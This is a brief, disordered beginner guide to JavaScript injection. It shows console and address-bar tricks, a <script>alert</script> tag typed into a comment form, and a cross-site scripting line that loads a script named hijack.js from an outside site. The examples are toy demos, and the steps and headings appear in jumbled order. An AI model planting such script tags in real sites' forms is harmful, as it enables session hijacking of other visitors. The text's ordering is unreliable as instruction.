JS

EXAMPLES OF JAVASCRIPT INJECTION

(quick guide & examples)

Simply put, users finding ways to insert or override the "original"Javascript with their own. Therefore, known as "Javascript Injection".

WHAT IS JS INJECTION?

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Most people will point to "do bad things" and "hacking". But no. Developers also sometimes do injection to test things out quickly.

WHY DO JS INJECTION?

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Press F12 in most modern browsers to open up developer's console.

Open any webpage.

DEVELOPER'S CONSOLE INJECT (A)

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Enter your script in the console tab. For example, function foo () { alert(”bar”); }

Double click on the HTML, insert your own onclick=”foo()”.

Right-click on an element > Inspect.

DEVELOPER'S CONSOLE INJECT (B)

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Done. Click on the element.

Simply enter "javascript:YOUR-CODE-HERE" into the address bar.

ADDRESS BAR INJECT

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 For example, javascript:alert("hi!");

Just enter a <script> tag into a comment or review form. For example - Hi! <script>alert("Foo");</script>

Most modern websites have proper anti-injection measures (99% will not work).

CROSS-SITE SCRIPTING

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Cross-site scripting- When you load the JS from another site <script src="http://site.com/hijack.js"></script>